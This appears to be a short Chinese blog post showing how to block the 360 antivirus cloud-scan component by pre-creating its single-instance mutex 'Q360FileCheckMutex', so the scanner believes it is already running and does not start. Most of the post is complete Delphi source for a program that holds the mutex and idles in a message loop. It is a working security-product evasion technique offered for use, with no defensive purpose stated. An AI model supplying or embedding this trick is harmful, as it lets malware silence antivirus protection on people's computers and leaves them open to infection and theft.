云查杀程序运行之前,会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行,所以我们可以抢先建一个这样的互斥对象,使得它误以为已经运行了,从而达到阻止运行的目的,关键代码:CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码:

program SERVER;

uses

Windows;

type

TWin = record

Msg: TMsg;

wClass: TWndClass;

hMain: integer;

end;

var Win: TWin;

begin

CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

while (GetMessage(win.Msg, win.hmain, 0, 0)) do

begin

TranslateMessage(win.Msg);

DispatchMessage(win.Msg);

end

end.

Comments
Write a Comment